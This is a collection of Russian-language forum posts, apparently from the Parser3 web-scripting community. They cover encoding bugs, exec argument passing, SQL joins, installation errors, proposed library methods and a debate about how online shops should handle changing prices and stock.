Огребаю ошибку. Ставлю перед вопросом пробел - всё ок.\
\
Это баг?\
\
И ещё одно. Зачем в заголовок (см. первый код) при создании объекта xdoc добавляется encoding=\"KOI8-R\" хотя я его не указывал?"
"42280","Текст в строке выглядит именно таким:\
http://localhost/graph/mobil/save_msg.wml?author=%D1%E0%F8%E0&email=&body=%C5%F9%E5%20%EE%E4%ED%EE%20%F1%EE%EE%E1%F9%E5%ED%E8%E5%20%ED%E0%20%EA%E8%F0%E8%EB%E8%F6%E5\
но форму создает именно страница Parser без участия js.\
Вот форма (это фрагмент wml-кода кодировка страницы utf-8):\
<p align=\"center\">\
	<b>Имя:</b><br/><input type=\"text\" name=\"author\" title=\"Ваше имя\" /><br/>\
		<b>Адрес:</b><br/><input type=\"text\" name=\"email\" title=\"Ваш email\"  /><br/>\
		<b>Текст:</b><br/><input type=\"text\" name=\"body\" title=\"Пишите текст\"  /><br/>\
		<anchor>\
				<go href=\"save_msg.wml\" method=\"get\">\
					<postfield name=\"author\" value=\"^$(author)\"/>\
					<postfield name=\"email\" value=\"^$(email)\"/>\
					<postfield name=\"body\" value=\"^$(body)\"/>\
				</go>\
			Отправить\
		</anchor><br/>\
		<a href=\"calendar.wml\">Календарь</a>\
			</p>"
"42281","Столкнулся со следующей проблемой.\
\
Вызываю ImageMagick через file::exec, аналогично тому, как описано [url=\"http://www.parser.ru/forum/?id=31947\"]здесь[/url].\
Если пишу так $Cmd[^file::exec[$convert;;$inImg;-rotate;90;$outImg]], то все работает замечательно.\
Мне же необходимо динамически формировать строку параметров, которая передается скрипту (типа, делать rotate или нет). И вот тут возникают непонятные грабли.\
Делаю переменную $OptionString[-rotate 90]\
Вызываю $Cmd[^file::exec[$convert;;$inImg;$OptionString;$outImg]] и получаю ошибку. В лог сервера пишется следующее convert: unrecognized option `-rotate 90'.| [exec.error]\
Такое ощущение, что Parser передает строку параметров, заключая ее в кавычки. Так ли это? Как это заставить работать?"
"42283","скопирую сюда, для истории\
[quote]\
Почему при использовании mod_bandwidth перестает работать метод POST   Автор: Roman Skopenko (mailto:pharao ат kiev дот farlep дот net)  \
\
  mod_bandwidth должен быть размещен вначале списка AddModule/LoadModule, т.е. до остальных модулей.\
\
Если mod_bandwidth врезается в httpd, то при сборке нужно:\
  ./configure --add-module=mod_bandwidth.c --permute-module=BEGIN:bandwidth\
\
[/quote]"
"42284","запрос выглядит нормальным. parser такие %D1 декодирует обычным образом. проблема в чём-то другом.\
\
может вы хотите сказать, что GET работает, POST нет?"
"42285","1. это к автору libxml, если он починил, просто соберите parser с обновлённой версии этой либы.\
я время от времени обновляю эту библиотеку, но только если там автор чинит что-то действительно полезное.\
2. приведите bug.html; в общем виде:\
кодировка, проставляемая в заголовок [b]результата ^xdoc.string[][/b], это $response:charset кодировка."
"42286","это отдельные параметры. передавать надо отдельно.\
\
уверен, вариантов вызова у вас не 100. switch."
"42287","доступа с телефона?"
"42289","т.к. скорость загрузки на телефоне зависит от массы параметров, как от кода, так и от оператора."
"42290","Подскажите пожалуйста, какие правила я нарушил, из за которых, был удален мой тред где я пытался узнать как строить раскрывающееся дерево. Что знать на будущее."
"42291","В общем сложилась такая ситуация - на странице есть блок новостей и блок ссылок, если у юзера есть права админа то около новостей и ссылок появляются менюшки для редактирования/удаление. Проблема в следующем - когда у юзера есть права на изменение обоих объектов то все прекрасно, проблем нет - просто вычисляю его права для всей страницы, но вот если пользователь может редактировать к примерцу ссылки, но ему нельзя трогать новости как быть?.. \
Использую Мишин класс авторизации."
"42293","К сожалению, Ваш код у меня не заработал (я разумеется поменял некоторые значеия, например наименования в БД, на свои), сервером выдавалась ошибка. После я немного поколдовал, поексперементировал с кодом, в результате добился пока только того, что страница отображается (меню, футер), а на месте тела документа (@body[]) ничего нет, не отображается. Самое плохое, что не могу в своей голове выстроить логику %-(...но это уже лирика ))"
"42296","но только если писать код так (извините, что не форматирую, лень):\
[code]^connect[$connect_string]{^if(def $form:del_news){^void:sql{DELETE FROM news WHERE news_id = '$form:radio'}}\
$news[^table::sql{select news_id, date, header, body from news order by date desc, body desc}]}\
	^if($news){<form method=\"POST\">\
		<table>\
			<th>Удалить новость</th>\
			<tr align=\"center\">\
				<td><b>Удалить</b></td>\
				<td><b>Дата</b></td>\
				<td><b>Заголовок</b></td>\
				<td><b>Текст</b></td>\
			</tr>\
			^news.menu{<tr>\
					<td><input type=\"radio\" name=\"radio\" value=\"$news.news_id\"></td>\
					<td><nobr>$news.date</nobr></td>\
					<td>^untaint{$news.header}</td>\
					<td>^untaint{$news.body}</td></tr>}</table><p><input type=\"submit\" value=\"Удалить\" name=\"del_news\"></form>}[/code]\
\
всё опробовал, работает, буду сейчас ещё дорабатывать под себя, спасибо всем кто подсказывал и поддерживал. %-)\
\
P.S. За одно нажатие удаляется только одна запись, не смотря на то, сколько их отмечено. Приоритет у записи добавленной позже, то есть если отмечено несколько, удалиться та, которая добавленна позже всех."
"42300","Нет, и GET и Post одинаково работают (точнее коряво работает)"
"42301","это wml-страница, проверяю на эмуляторе двух типов.\
в обоих результат с SQL одинаков.\
(кстате на мобильнике тоже)\
Пробовал поиграть ClientCharset в auto.p со строкой подключения к SQL, изменения происходят, но только не к лучшему.\
Те же кракозяблы, но другие.\
Дня три назад (как мне кажеться на этом форуме), встретил сообщение от парня, столкнувшегося с этой же проблемой и решившей ее. Даже ходил по его ссылке к нему на сайт. Но с той поры потратил уже несколко часов, чтоб отыскать его сообщение. безуспешно."
"42309","[quot]За одно нажатие удаляется только одна запись, не смотря на то, сколько их отмечено. Приоритет у записи добавленной позже, то есть если отмечено несколько, удалиться та, которая добавленна позже всех.[/quot]\
\
так и должно быть, потому что это [b]радиокнопка[/b] и она (кнопка) имеет [b]единственное[/b] значение. [url=\"http://pyramidin.narod.ru/html401/forms.html#radio\"]прочитать подробнее[/url]"
"42310","[quot]в результате добился пока только того, что страница отображается (меню, футер), а на месте тела документа (@body[]) ничего нет, не отображается.[/quot]\
\
код, видимо, не заработал, потому что:\
• неправильный connect;\
• неправильно созданная БД - имя БД и поля (надо было привести ошибку).\
\
\"пустое\" body - потому, что нечего выводить (отсутствуют новости в БД или неопределен $news_select).\
\
логика работы:\
• соединяемся с БД;\
• получаем значения из БД;\
• выводим значения в таблицу для \"удаления\";\
• если помечено \"что\" удалить, то соединяемся с БД и удаляем помеченное значение из БД;\
• выводим результат работы.\
\
в моем коде используются классы:\
[url=\"http://www.parser.ru/examples/date/\"]Класс для работы с датами[/url] - (с) [url=\"http://www.parser.ru/forum/users/?uid=17\"]Misha v.3[/url]\
[url=\"http://typograf.ru/\"]Typograf[/url] - (c) [url=\"http://www.parser.ru/forum/users/?uid=60\"]Eugene Spearance[/url]"
"42312","такой вариант: запустить тестовый проект используя функции парсера, которые показывают скорость и память, а потом анализировать их?"
"42313","вот я хочу узнать: как мне два умножить на два, пожалуйста расскажите подробнее."
"42314","коллеги,\
тому, кто занимается или планирует заняться написанием интернет магазина.\
пожалуйста, учтите пожелание одного обескураженного покупателя:\
\
понравилась цена. налоги все уже в неё включены, цена доставки нулевая.\
нажал положить в корзину, заполнил и отправил форму заказа.\
получаю по почте письмо, в нём указана [b]другая[/b] цена.\
возвращаюсь на сайт, вижу: цена сменилась.\
выяснилось, что ровно в это время 23:30 владельцы магазина просто меняли цены. \
\
что цена меняется, это нормально и естественно.\
однако описанной ситуации не должно быть никогда.\
нельзя договориться с продавцом о цене X, пожать с ним руки, а потом получить письмо \"спасибо, по нашему с вами обоюдному согласию вы должны заплатить Y\", не было обоюдного согласия на Y. нет.\
\
мы с вами понимаем, что программист просто обновил циферку в колонке Цена.\
\
а покупатель необязательно есть всёпонимающий программист; может просто не вернуться."
"42315","вот , например код с примеров:\
[code]\
SELECT\
forum_message.forum_message_id,\
parent_id,\
thread_id,\
title,\
author,\
email,\
dt_published,\
forum_message_body.body\
FROM\
forum_message\
^MAIN:pSQL.left_join[from;forum_message_body;forum.forum_message_id = forum_message_body.forum_message_id]\
WHERE\
^MAIN:pSQL.left_join[where;forum_message_body;forum.forum_message_id = forum_message_body.forum_message_id]\
forum_message.forum_message_id = ^id.int(0) AND\
is_published = 1\
[/code]\
про left join в чистом виде я знаю  и понимаю, но вот с этим классом понять не могу.\
Первое что не понял - почему он находится не только в FROM и WHERE? Второе, что с чем он соединяет и почему нет ON?,\
пасибо за ответы"
"42316","На фоне задержек в передаче WAP over GPRS или, тем паче, WAP over CSD, даже если у вас page generation time будет под 0,3 сек. этого никто не прочувствует.\
\
Попробуйте натравить на ваш тестовый сайт webserver stress tool - если page generation time под десятикратной по сравнению с прогнозируемой штатной нагрузкой не превысит секунды - всё у вас будет хорошо ;-)"
"42317","Спасибо за пинок, ошибку осознал."
"42318","Посмотрите внимательно статью \"О переносимости SQL запросов\" в примерах, там есть классы для работы с различными базами, для mysql - это mysql.p. Там есть этот метод и все хорошо видно(и ON  там есть и почему в WHERE используется)."
"42319","[code]\
$request[^request:uri.match[^^(.*?http://${env:SERVER_NAME}:80)(.*?)(&.*|^$)][i]{$match.2}]\
[/code]\
\
мне было бы очень замечательно, чтобы кто-нибудь привел простой пример, чтобы вот эта строка могла воспринять еще и протокол https по порту 443, а не только http:80 как сейчас\
\
и, кстати, что эта строка делает, понять не могу?\
что ищет подстроку это понятно, а дальше что?\
\
я конечно извиняюсь, но изучать разнообразные custom языки времени нет совсем\
abap/4 тоже хороший язык, никто не спорит, но зачем?\
\
простая и очень показательная ситуация - тёмина разработка конца 2004 года (за которую тёме бабки были плачены немалые) не имеет понятия о том, что сайты работают не только на 80 порту и не только по протоколу http, а на дворе, однако, не 1997"
"42320","ещё одна неприятная мелочь может произойти с остатком товара.\
\
Например остался товар в единственном экземпляре, а поставка новой партии будет ещё только на будущую осень, лет через восемь.\
\
Два пользователя судорожно, обгоняя друг-друга заполняют заявку.\
\
И вот тут начинается лотерея. Кому-то товар придёт, а кто-то по-просту побреется.\
\
Ни в коем случае низя давать заполнять одновременно 2-е заявки на один товар если он последний."
"42321","вот:\
[code]\
@left_join[type;table;join_conditions;last]\
^if(^type.lower[] eq \"from\"){\
	$result[LEFT JOIN $table ON ($join_conditions)]\
}{\
	$result[1 = 1 ^if(!def $last){ AND}]\
}\
#end @left_join[]\
[/code]\
так, вроде вес ясно, но вот одно: про фром понятно, но вот не дошло : ведь должно быть таблица_1 LEFTJOIN таблица_2, а тут токо одна таблица, так что же с чем соединяется?! И что такое last? за что оно отвечает?\
Напишите вкратце..."
"42323","Так и есть 2 таблицы:\
[code]\
FROM\
forum_message\
^MAIN:pSQL.left_join[from;forum_message_body;forum.forum_message_id = forum_message_body.forum_message_id]\
[/code]\
Переводим\
[code]\
FROM\
forum_message(таблица1) LEFT JOIN forum_message_body(таблица2) ON (forum.forum_message_id = forum_message_body.forum_message_id)\
[/code]"
"42325","в бухгалтерию пойдёте просто так или с чувством, что вы что-то сделали для того, чтобы заработать?\
\
это ваша работа, работайте."
"42327","зачастую в интернет магазинах нет точной информации о количестве товаров на складе"
"42328","Использовал на странице отображения класс ^string.replace\
Просто заменяю в строке 16-ти ричные данные на символы кирилицы\
\
^table.menu{\
$author[$table.author]\
$body[$table.body]\
$rep[^table::create{\
A0	А\
A1	Б\
A2	В\
A3	Г\
.\
.\
.\
Dd	э\
De	ю\
Df	я}]\
			<p><b>^author.replace[$rep]</b><br/>\
			<small>$table.email</small><br/>\
			^body.replace[$rep]<br/>\
			--------------------</p>\
			}\
Только в SQL-базе пришлось поменять кодировку полей (\"Сравнение\")\
с utf-8_general_ci на latin1_general_ci, потому, что некоторые символы (с, э, ю ...)не определялись."
"42329",":) и для этой самой полосатой компании, мы будет эти задержки скоро мерить."
"42330","вывалить заказчику код, и дальше живи как хочешь, тоже не очень красиво"
"42331","то все наши с вами договорённости включены в договор.\
под ним стоят подписи обеих сторон.\
поэтому по договору вопросов у вас быть не может.\
\
если хотите что-то обсудить конкретное, свяжитесь с менеджером проекта с нашей стороны.\
\
данный сайт и форум предназначен для посильной взаимопомощи сообщества пользователей Parser.\
здесь свои правила.\
и здесь никто никому ничего не обязан."
"42332","Я указал вам на достаточно серьезную ошибку в результатах работы вашей компании. Работы, за которую вы получаете вознаграждение, ведь вы далеко не благотворительная организация.\
\
Безусловно, зная о данной ошибке, вы ее исправите.\
Со своей стороны, хотелось бы получить взамен информацию о том, что надо исправить.\
\
Думаю, что организация сайта, классы и библиотеки, у вас стандартная, поэтому ваши исправления скорее всего подойдут и мне. Информация нужна в минимальном объеме. Если надо переделывать все - наверное тогда лучше не трогать, у всех бывают неудачные релизы.\
\
Спасибо!"
"42333","Это все безусловно и понятно.\
Но менеджер - это не программист, а исправлений по данной задаче немного, было желание ускорить процесс. Хотелось просто получить ответ на простой и конкретный вопрос. Безусловно, решение будет, но оно может быть разным.\
\
\
Тем не менее, ваше сообщество находится в рамках вашей головной компании и поэтому была надежда... в общем, это все казуистика и уже не важно."
"42334","т.к. пользователь может заказать товар которого нет и не будет.\
\
Сам сталкивался с подобным на books.ru"
"42335","как уже писал, здесь свои правила.\
и вы выглядили как новичок, не желающий разбираться в некоем коде, доставшемся ему по наследству. \
что новичку нужно? конечно, не простое быстрое решение. новичку нужно сесть и почитать, чтобы вопросы такие им больше не задавались (и чтобы перейти на новый уровень понимания).\
\
самый быстрый способ получить помощь — связаться с менеджером проекта, он/она всё устроит в лучшем виде."
"42336","там что написано?\
есть ли слова про SSL?\
\
если код соответствует Т.З., этот код правильный. точка."
"42341","Такие проблемы могут быть в случае удаленного хостинга сайта и дополнительного к интернет магазину источника продаж. Возникает неприятная история необходимости синхронизировать локальную базу и базу на удаленном хостинге. Но решать ее необходимо. Ибо заказ заведомо отсутсвующего товара - верный путь к потери клиента. Причем раз и навсегда."
"42342","если в код зашит порт 80, то любой нестандартный порт, что, согласитесь, не такое уж редкое явление, будет неработоспособным\
\
хотя действительно в тз это никто не закладывает, поскольку не предполагается, что это как-то может влиять на работу\
вы бы еще по серийному номеру к машине привязывались, тоже было бы весело"
"42343","извините, но парсер это не совсем актуальная платформа, чтобы с ней плотно знакомиться\
не то чтобы она была совсем неразвитой и т.д., но хотя бы если сравнить количество реализаций и возможности платформы, а также поддержку производителя и пр.\
малая распространенность это даже в плюс, но поддержка потом будет золотой и проблемной\
\
как пример, перл рулил в свое время, он остался, он есть и он силен, но почему-то он отошел, годы уже не те\
сейчас питон пошел вверх, потом еще что-нибудь параллельное будет\
\
с наследственным кодом на foxpro тоже бы надо ознакомиться, но как-то можно и без этого обойтись, проще сменить платформу и весь набор ПО\
\
\
а насчет новых уровней понимания, в вашем форуме много вопросов новичков по работе с БД, но советов поднимать уровень что-то не видно\
впрочем, каждому свое"
"42344","надо при добавлении заявки на товар переносить его в резерв, соответственно уменьшая количество доступного товара\
если делать это в транзакции, проверять результаты работы и отрабатывать исключения типа описанного, то такой ситуации не должно быть по определению\
собственно, для этого транзакции и нужны, чтобы база была согласованной\
\
то есть, пользователь должен быть проинформирован, что его товар не смогли поставить в резерв по причине его отсутствия на складе\
а то, что 2 пользователя заполняют заявки на единственный товар, это еще ничего не значит, т.к. они оба могут не закончить заполнение заявки, и ничего не заказать"
"42345","это уже организация обработки заказов\
в резерв товар может поставить и продавец самолично\
но пользователя надо проинформировать о результате заказа\
\
в реальности, товар берется со склада по необходимости, а заказов набирают чем больше тем лучше, тут тоже надо опираться на реальную жизнь"
"42346","Спасибо за предостережение!\
Это пригодится...\
Единственно. Может Вы можете подсказать как этого избежать?"
"42347","Есть два класса:\
\
[b]Первый:[/b]\
[code]\
@CLASS\
class1\
\
@method[]\
$result(1)\
[/code]\
\
[b]Второй:[/b]\
[code]\
@CLASS\
class2\
\
@method[]\
$result(^caller.class1.method[])\
[/code]\
\
[b]Подключаю:[/b]\
[code]\
@USE\
class1.p\
class2.p\
\
@main[]\
^class2.method[]\
[/code]\
\
Говорит, что метод не определен.\
\
[b]Задача[/b] в общем-то такая: в главном файле создать объекты классов, а уже в этих классах вызывать методы «соседних» классов. Нужно для того чтобы можно было однажды создав объекты — «забыть» про них. Ну то есть не совсем для этого нужно конечно :) Понадобилось пока что в одном месте: при добавлении раздела в админке нужна возможность выбора языка сайта, а классы созданым таким образом, что один отвечает за языки (т.е. имеет методы для получения списка языков, добавления, удаления и т.д.), другой за разделы сайта и т.д.\
\
[b]Вариант:[/b] передавать созданные объекты классу при его инициализации. Но тут же обнаруживается минус при пересечении классов — тот класс, объект которого создан первым, будет не связан с остальными."
"42348","В ходе установки вылетает следующее:\
\
Невозможно открыть файл для записи: \"C:\\WINDOWS\\system32\\msvcr71.dll\"\
Перед этим был установлен Apache HTTP server 1.3.33"
"42349","Однако, повертев головой, пришёл к выводу, что необходимо трогать только те цифры, которые находятся вне тэгов.\
\
Автоматом вылетают случаи, когда попадают цифры внутри style=\"*\" или javascript.\
\
Щас напишу регулярку."
"42350","Гнать надо такого покупателя, который не может понять простых вещей. Всё равно раз уж он по такому пустяковому поводу возмущается, то и в дальнейшем с ним всякие непонятки будут и покупкой он будет не удовлетворён. Либо цвет не устроит (\"отличный от того что на сайте), либо \"размерчик не мой\" и т.п.\
\
Имхо, функция полезная. По уму - надо бы всем в письме-заказе присылать цену, отличную от той что на сайте. И смотреть реакцию. Сразу можно будет понять с кем имеешь дело ;)"
"42351","Помогите решить проблему с правильной настройкой parsera, я устанавливаю на хостинг Unix, parser3 для Linux Redhat cgi- скрипт с поддержкой XML, загружаю скаченные файлы в дирректорию cgi-bin, открываю .htaccess там уже имеется слудующая строка:\
\
AddHandler server-parsed html\
\
прописываю в .htaccess:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
провожу тест выводит страницу тестовую, всё отображается, создаю по инструкции sections.cfg и auto.p и загружаю их в дирректорию где лежит html файл с кодом ^navigation[] для загрузки меню, как написано в документации запускаю html файл, выводит текст с ошибкой и пишет что ошибку можно посмотреть в parser3.log, вижу следующее: [Sun Jul 10 04:14:30 2005][22636] /news/: /путь/к/сайту/html/auto.p(7:30): 'uri' column not found [parser.runtime] подскажите пожалуйста из-за чего может быть вызвана эта ошибка, также теперь не загружается html файл с ценами, с чем это может быть связано, может быть я неправильно установил parser, или ещё что?"
"42352","[quot]/путь/к/сайту/html/auto.p(7:30): 'uri' column not found[/quot]\
\
Ошибка в строке 7, 30-й столбец файла 'auto.p'. Не найден столбец 'uri' в файле 'sections.cfg'. Скорее всего файл 'sections.cfg', с таблицей, вместо символов табуляции содержит пробелы."
"42353","хотя бы часть строки с ошибкой, а то никому не интересно догадываться, чего там у вас в седьмой строке - может комментарий не закомментированный...."
"42354","[b]что[/b] случилось [parser.runtime],\
[b]где[/b] случилось [/путь/к/сайту/html/auto.p(7:30)]\
и [b]почему[/b] ['uri' column not found]."
"42355","Вот смотрите самая верхняя часть кода файла auto.p, этот код скачан из раздела \"скачать\" linux Redhat там в самом низу исходник:\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
#change your client libraries paths to \
\
those on your system\
\
$SQL[\
\
	$.drivers[^table::set{protocol	driver	client\
\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
\
}]\
\
]\
\
Также не могли бы показать пример с кодом как должно выглядеть в sections.cfg эта таблица?"
"42356","А вот код, который загружаю в директорию где лежит html-файл:\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>"
"42358","Табы в sections, но нужен пример, как должно выглядеть, может что-то забыл прописать?"
"42360","В директорию где лежит сам парсер под именем auto.p.dist, тоесть в cgi-bin."
"42361","Поэтому приводить надо было его, а не конфигурационный файл парсера. Но вам уже сказали в чем проблема: пробелы вместо табуляции в sections.cfg."
"42362","Не могли бы вы показать пример, как должны выглядеть данные в sections.cfg?"
"42364","Я видел этот текст мне нужен точный пример, что вставлять в sections.cfg"
"42365","В документации подробно описан формат таб-разделенных таблиц. Первая строка — заголовки столбцов (если таблица не nameless), они разделены табуляцией, т.е. в случае если первая колонка называется first, а вторая second — first(tab)second, где (tab) = одно нажатие кнопки Tab на клавиатуре. Точно так же со строками."
"42367","Надо Мише написать, чтобы к факу приложил схему расположения  клавиши Tab относительно ctrl, v и c :-)"
"42368","При изменении размеров изображения была бы полезна возможность указывания не только исходного имени файла, но и имени конечного.\
\
Например при загрузки изображения нужно делать два файла:\
image.jpg\
image_preview.jpg\
\
Сначала сохраняется во временную папку загруженный файл, потом из него получается первый файл и из того же временного файла получается второй файл."
"42370","Приветствую!\
\
Предлагаю добавить метод [b]@if-f[...]{...}{...}[/b] подобный @ifdef, только взамен [b]^if(-f \"...\"){...}{...}[/b].\
\
Алексей."
"42371","Предлагаю добавить еще пару методов:\
\
[code]\
@spacer[width;height]\
$result[<div style=\"width: ^width.int(1)px^; height: ^height.int(1)px^;\"><spacer type=\"block\" width=\"^width.int(1)\" height=\"^height.int(1)\" /></div>]\
# end @spacer[]\
\
@foreach[hash;key;value;code;separator;order_direction][_keys;_int]\
^if($hash is hash){\
	$order_direction[^if(def $order_direction){$order_direction}{asc}]\
	$_keys[^hash._keys[]]\
	$_int(0)\
	^_keys.menu{\
		^if(^_keys.key.int(0)){$_int(1)}\
	}\
	^if($_int){\
		^rem{ *** Если ключи хэша - числа, значит соритруем по числу *** }\
		^_keys.sort($_keys.key)[$order_direction]\
	}{\
		^_keys.sort{$_keys.key}[$order_direction]\
	}\
	^_keys.menu{\
		$caller.[$key][$_keys.key]\
		$caller.[$value][$hash.[$_keys.key]]\
		$code\
	}[$separator]\
}{\
	^throw[parser.runtime;foreach;Переданная переменная не является хэшэм]\
}\
# end @foreach[]\
[/code]"
"42372","Всё, всем спасибо за помошь, разобрался, теперь всё работает как надо! :)"
"42373","Предлагаю модификацию метода @location, чтобы писать переносимые внешние редиректы.\
\
[code]@location[target_url;external]\
^if(def $external){\
	$response:location[http://${env:SERVER_NAME}$target_url]\
}{\
	$response:location[$target_url]\
}[/code]"
"42374","Ещё заменить [b]^if(... is junction){...}{...}[/b] ;-)"
"42377","[code]\
@if-[b]j[/b][...]{...}{...} \
[/code]\
\
Только, если честно, не вижу никакого смысла менять одну короткую и простую и (!) понятную после чтения доки конструкцию на другую не менее простую и короткую, но (!) [b]не[/b] понятную после чтения доки?..."
"42378","так ли это нужно?\
имхо, ifdef сильно не нужная функция, ну очень уж просто написать ^if(def..."
"42380","Первое, что хотелось бы сказать по поводу всего треда - это скорее вопросы алгоритмические и организационные, а не программистские. В принципе, как недавно справедливо продемонстрировал сам ПАФ в некоем споре - в вашем договоре это учтено? Нет? До свидания... Программист не совсем обязан думать о таких вещах. Но... Если он является одновременно алгоритмистом или вообще автором всего проекта, то конечно он должен предусмотреть массу тонкостей.\
Второе, что хотелось бы отметить конкретно на предыдущую реплику уважаемого ASharky. Если в магазине практикуется оплата товара по получении, то в заказе однозначно должна оставаться цена на момент заказа. Поэтому нормальной практикой (imho), является перенос цены товара из прайс-листа на момент заказа в собственно цену заказа (т.е. организация таблицы с заказами, где id будет номер заказа). Этим сразу решаются все вопросы, как бы там не изменялась цена в дальнейшем. На этом можно даже делать хороший PR, как это делает один из московских продавцов ТАЗиков.\
Нельзя пренебрегать покупателем насколько бы он мелочным не был (а он бывает настолько мелочным, особенно очень богатый покупатель).\
Что касается количества товара на складе, то в практике товарно-складского и бухгалтерского учета есть понятия свободного количества товара, фактического количества (и резерва как их разницы). И много других понятий. Вообще, онлайновые магазины есть разновидность магазина обыкновенного, и все правила учета давно существуют, не нужно ничего изобретать."
"42381","в процессе многократной правки :)\
\"Поэтому нормальной практикой (imho), является перенос цены товара из прайс-листа на момент заказа в собственно цену заказа (т.е. организация таблицы с заказами, где id будет номер заказа).\"\
следует продолжить:\", где zakaz_id будет номер заказа, а многочисленные строки цен разных товаров будут к нему привязаны, цены же товаров в колонке price будут не относительными ссылками на таблицу прайс-листа, а прямым значением на момент заказа...\"\
Впрочем, тут все довольно очевидно. Хочу только добавить, что хранить допускается (хотя и не ромендуется)и сумму по конкретному товару, поскольку это уже не корзина и корректировать количество нельзя - заказ уходит в обработку (\"обработка\"-\"оплата\"-\"отгрузка\"-\"отмена\"-\"выполнен (подтвержение получения)\" -> \"архив\" как примеры)"
"42382","правила такие - все участники присылают по одному полезному методу (можно несколько, тогда ваши шансы повышаются), Миша смотрит всё это дело (с отвращением / с восхищением), отбирает самый полезный экземпляр, и помещает его в lib.p (ну это главный приз). Разумеется, при условии что хоть одна работа пройдет \"входной ценз\" ;)\
\
чтобы долго не тянуть, вот мой кандидат:  \
\
Метод получает параметром имя [b]любого[/b] объекта, возвращает его тип.\
\
[code]\
@main[]\
$var[^date::now[]]\
^typeof[var]\
\
\
@typeof[test]\
^if($test is string){\
	^if($caller.$test is void){\
		$result[void]\
	}{\
		^if($caller.$test is junction){\
			$result[junction]\
		}{\
			^try{\
				^caller.$test[]\
			}{\
				$exception.handled(1)\
				$result[^exception.comment.mid(4;^exception.comment.length[]-48)]\
			}\
		}\
	}\
}{\
	^throw[parser.runtime;typeof;parameter must be string]\
}\
[/code]"
"42383","Перерыл доку и форум. Ответа не нашёл.\
\
Вобщем, представим, что есть 400 методов с именем «@methodX[]», где X — число 0—399.\
\
Допустим, что $rnd(^math:random(400)).\
\
Вопрос. Как вызвать нужный метод, то есть, если $rnd = 53, то ^method53[]..."
"42385","Если имя методов немного сложнее?\
\
@method53first[]\
\
и $rnd(53), то как?\
\
Естевтвенно, ^method${rnd}first[] даёт ошибку."
"42386","[code]\
$complicated[$[method${rnd}first]]\
^complicated[]\
[/code]\
\
наверное можно проще...  :)"
"42387","[code]\
^[method${rnd}first]\
[/code]\
\
Почему вот так не работает?"
"42389","как я понял вторая его чать взаимодействует в Мишиным классом авторизации. Но в чем это заключается?!"
"42390","Нельзя ли его вообще убрать из веб-пространства или поместить рядом с самим бинарником парсера?\
ИМХО, parser3.cgi и parser3.cfg лежащие в одной директории выглядят более удобно и безопасно, чем отдельно парсер и отдельно auto.p в document root."
"42391","Для начала lib.p - это не помойка методов, а один большой пример, помогавший или помогающий плавно и безболезненно переходить от версии к версии.\
\
Методы, которые там написаны - не являются аксиомой. Набор этих методов может, и должен определяться по желанию.\
\
Я к примеру использую этот набор методов в обрезанном виде. Удаляю сразу все комментарии, старый синтаксис 2-го парсера, хотя я на нём тоже работал, и методы, которые просто не применимы в текущих задачах.\
\
Файлик становится маленький и мега полезный. Все свои методы, которые я для себя считаю удобными, я не дописываю в этот набор, а приспокойно располагаю в свой misc.p\
\
И так должно быть."
"42394","Главное ведь не победа, а участие. И если lib.p предназначен для обучения в общем-то, то и этот тред также наверняка поможет. Пусть Миша и не добавит в библиотеку лишних методов — тоже понятно, ведь это его библиотека, которой он пользуется, а чужие методы ему вполне могут быть не нужны.\
\
Но почему бы и не поделиться?.."
"42395","[quote]как я понял вторая его чать взаимодействует в Мишиным классом авторизации.[/quote]\
:) а чего тут понимать то? я прямо так и написал - \"@setpwCrypted — то же самое что и выше, но вторым параметром метода передаётся не пароль, а уже его хэш. Мне это нужно для совместного использования с классом авторизации от Михаила Петрушина.\"\
\
[quote]Но в чем это заключается?![/quote]\
Взять из БД логин и хэш пароля, который Михин класс сделал и записать/изменить его в .htpasswd"
"42396","пока поставьте сами (скопируйте нужные файлы в нужные каталоги, как написано в разделе download слева)."
"42397","Чтобы это могло значить?\
\
Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Возможно не положены куда надо драйвера. \
Сообщение об ошибке: \
\
can't open the module \
/var/www/cgi-bin/parser3/lib/libparser3mysql.so \
\
система FreeBSD 5.3 мускуль 4.1.12\
права такие\
rwxrwxrwx  1 root  wheel  84884 Jul 11 03:14 /var/www/cgi-bin/parser3/lib/libparser3mysql.so\
\
никогда не видел такого. драйвер компилировался из исходников, ошибок при компиляции не было."
"42398","ясненько, но извини как его использовать? Просто в том методе указать пользователя и получается все?\
А вот еще вопросик. Нельзя сделать так: пользователь залогинился черезз мишин класс, а потом паереходя в каталог апаче его пароль уже не спрашивает, если он \"годен\", а если нет то спрашивает?!"
"42399","ldd на этот .so не говорит ли о каких-нибудь странных зависимостях?\
\
попробуйте запустить с консоли\
[code]\
#без пути _test.htm, т.е. cd заранее в web пространство\
/path/to/parser3 _test.html\
[/code]\
\
если и так не сработает, сможете подсмотреть утилиткой truss (freebsd; на linux: strace)."
"42401","есть ли какие-либо рекомендаци по оптимизации кода, скажем чем лучше:\
[code]\
$s[^t.menu{$t.name - $t.address<br/>} ]\
[/code]\
этого:\
[code]\
^t.menu{\
$s[$s $t.name - $t.address<br/>]\
}\
[/code]\
\
и т. д.\
\
и в какие моменты (теоретически) лучше делать очистку памяти кроме как перед xslt-преобразованием?"
